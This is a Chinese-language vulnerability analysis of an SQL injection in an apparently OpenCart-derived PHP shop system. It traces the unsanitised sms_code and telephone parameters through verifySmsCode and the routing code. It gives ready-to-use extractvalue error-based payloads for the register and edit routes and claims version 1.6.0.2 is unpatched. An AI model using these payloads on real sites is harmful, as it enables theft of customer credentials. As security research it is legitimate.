PHP…

0x01

SQL注入

漏洞分析

漏洞出现在/model/account/smsmobile.php的verifySmsCode函数

1
2
3
4
5
public function verifySmsCode($sms_mobile, $sms_code) {
$query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "sms_mobile WHERE sms_mobile = '" . $sms_mobile . "' AND verify_code = '" . $sms_code . "'");

return $query->row['total'];
}

查找哪里调用了这个函数,发现在/controller/account/register.php和/controller/account/edit.php中都有调用,而且是同一个validate函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function validate() {
if ((utf8_strlen(trim($this->request->post['fullname'])) < 2) || (utf8_strlen(trim($this->request->post['fullname'])) > 32)) {
$this->error['fullname'] = $this->language->get('error_fullname');
}


if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
$this->error['email'] = $this->language->get('error_email');
}

if (($this->customer->getEmail() != $this->request->post['email']) && $this->model_account_customer->getTotalCustomersByEmail($this->request->post['email'])) {
$this->error['warning'] = $this->language->get('error_exists');
}

if ((utf8_strlen($this->request->post['telephone']) < 3) || (utf8_strlen($this->request->post['telephone']) > 32)) {
$this->error['telephone'] = $this->language->get('error_telephone');
}else{
if($this->customer->getTelephone() == trim($this->request->post['telephone'])) {
}else{
// if sms code is not correct
// if sms code is not correct
if (isset($this->request->post['sms_code'])) {
$this->load->model('account/smsmobile');
if($this->model_account_smsmobile->verifySmsCode($this->request->post['telephone'], $this->request->post['sms_code']) == 0) {
$this->error['sms_code'] = $this->language->get('error_sms_code');
}
}
}
}

可以发现参数telephone和sms_code都是直接通过POST传递过来的,没有做任何过滤,接着看哪里调用了validate函数,当前页面的index函数进行了调用

1
if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {

接下来寻找利用方式,首先找到路由调用register.php页面,回到/index.php页面

1
2
3
require_once(DIR_SYSTEM . 'startup.php');
...
require_once(DIR_SYSTEM . 'framework.php');

包含了/system/startup.php和/system/framework.php

先看startup.php

1
2
3
4
5
6
7
8
9
10
...
require_once(modification(DIR_SYSTEM . 'engine/action.php'));
require_once(modification(DIR_SYSTEM . 'engine/controller.php'));
require_once(modification(DIR_SYSTEM . 'engine/event.php'));
require_once(modification(DIR_SYSTEM . 'engine/front.php'));
require_once(modification(DIR_SYSTEM . 'engine/loader.php'));
require_once(modification(DIR_SYSTEM . 'engine/model.php'));
require_once(modification(DIR_SYSTEM . 'engine/registry.php'));
require_once(modification(DIR_SYSTEM . 'engine/proxy.php'));
...

包含了一系列的文件
engine/action.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function __construct($route) {
$parts = explode('/', preg_replace('/[^a-zA-Z0-9_\/]/', '', (string)$route));

// Break apart the route
while ($parts) {
$file = DIR_APPLICATION . 'controller/' . implode('/', $parts) . '.php';

if (is_file($file)) {
$this->route = implode('/', $parts);

break;
} else {
$this->method = array_pop($parts);
}
}
}

发现这里有个调用controller中文件的函数,想着去利用这\$route函数,接着就需要寻找实例化action类的地方

接下开看/system/framework.php,在106行

1
2
3
...
$controller->dispatch(new Action($config->get('action_router')), new Action($config->get('action_error')));
...

config类在/system/library/config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private $data = array();

public function get($key) {
return (isset($this->data[$key]) ? $this->data[$key] : null);
}

public function set($key, $value) {
$this->data[$key] = $value;
}

public function has($key) {
return isset($this->data[$key]);
}

public function load($filename) {
$file = DIR_CONFIG . $filename . '.php';

if (file_exists($file)) {
$_ = array();

require($file);

$this->data = array_merge($this->data, $_);
} else {
trigger_error('Error: Could not load config ' . $filename . '!');
exit();
}
}

就是返回\$this->data[‘action_router’]的值,之前在framework.php中有对config的实例化,并且调用了load函数

1
2
$config = new Config();
$config->load('default');

这里包含的文件是/system/config/default.php,在文件的尾部有对action_router的定义

1
2
3
4
5
6
...
$_['action_default'] = 'common/home';
$_['action_router'] = 'startup/router';
$_['action_error'] = 'error/not_found';
$_['action_pre_action'] = array();
$_['action_event'] = array();

继续看到framework.php的尾部

1
2
3
4
5
6
7
8
9
10
11
$controller = new Front($registry);

// Pre Actions
if ($config->has('action_pre_action')) {
foreach ($config->get('action_pre_action') as $value) {
$controller->addPreAction(new Action($value));
}
}

// Dispatch
$controller->dispatch(new Action($config->get('action_router')), new Action($config->get('action_error')));

跟到Front类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private $registry;
private $pre_action = array();
private $error;

public function __construct($registry) {
$this->registry = $registry;
}

public function addPreAction(Action $pre_action) {
$this->pre_action[] = $pre_action;
}

public function dispatch(Action $action, Action $error) {
$this->error = $error;

foreach ($this->pre_action as $pre_action) {
$result = $this->execute($pre_action);

if ($result instanceof Action) {
$action = $result;

break;
}
}

while ($action instanceof Action) {
$action = $this->execute($action);
}
}

private function execute(Action $action) {
$result = $action->execute($this->registry);

if ($result instanceof Action) {
return $result;
}

if ($result instanceof Exception) {
$action = $this->error;

$this->error = null;

return $action;
}
}

我们可以看到这里的dispatch函数调用了execute函数之后,在execute函数中调用action类中的execute函数
action类中的execute函数(/system/engine/action.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function execute($registry, array $args = array()) {
// Stop any magical methods being called
if (substr($this->method, 0, 2) == '__') {
return new \Exception('Error: Calls to magic methods are not allowed!');
}

$file = DIR_APPLICATION . 'controller/' . $this->route . '.php';
$class = 'Controller' . preg_replace('/[^a-zA-Z0-9]/', '', $this->route);

// Initialize the class
if (is_file($file)) {
include_once($file);

$controller = new $class($registry);
} else {
return new \Exception('Error: Could not call ' . $this->route . '/' . $this->method . '!');
}

$reflection = new ReflectionClass($class);

if ($reflection->hasMethod($this->method) && $reflection->getMethod($this->method)->getNumberOfRequiredParameters() <= count($args)) {
return call_user_func_array(array($controller, $this->method), $args);
} else {
return new \Exception('Error: Could not call ' . $this->route . '/' . $this->method . '!');
}
}

可以看到它把/controller/startup/router.php文件包含了,接着我们看到/controller/startup/router.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($this->request->get['route']) && $this->request->get['route'] != 'startup/router') {
$route = $this->request->get['route'];
} else {
$route = $this->config->get('action_default');
}
// Sanitize the call
$route = str_replace('../', '', (string)$route);
// Trigger the pre events
$result = $this->event->trigger('controller/' . $route . '/before', array(&$route, &$data));
if (!is_null($result)) {
return $result;
}
// We dont want to use the loader class as it would make an controller callable.
$action = new Action($route);
// Any output needs to be another Action object.
$output = $action->execute($this->registry);

可以看到这里的route是通过GET方式传递过来的,接着会被当作route参数实例化一个action对象
接着执行了aciton中的execute函数,和之前startup.php一样这个参数的值会被包含,这样我们就能调用到了register.php

0x02

漏洞利用

payload:

1
2
GET:index.php?route=account/register
POST:telephone=1234&sms_code=' and extractvalue(1,concat('~',version(),'~')) # //telephone长度大于等于3

进而能获得用户的账号和密码…

0x03

One’storm

上面的漏洞利用是非登陆型,在最开始的说的edit.php文件存在登陆型的注入
payload:

1
2
GET:index.php?route=account/edit
POST:telephone=1234&sms_code=' and extractvalue(1,concat('~',version(),'~')) # //telephone长度大于等于3

V1.6.0.2依然没有修复…
(ง •_•)ง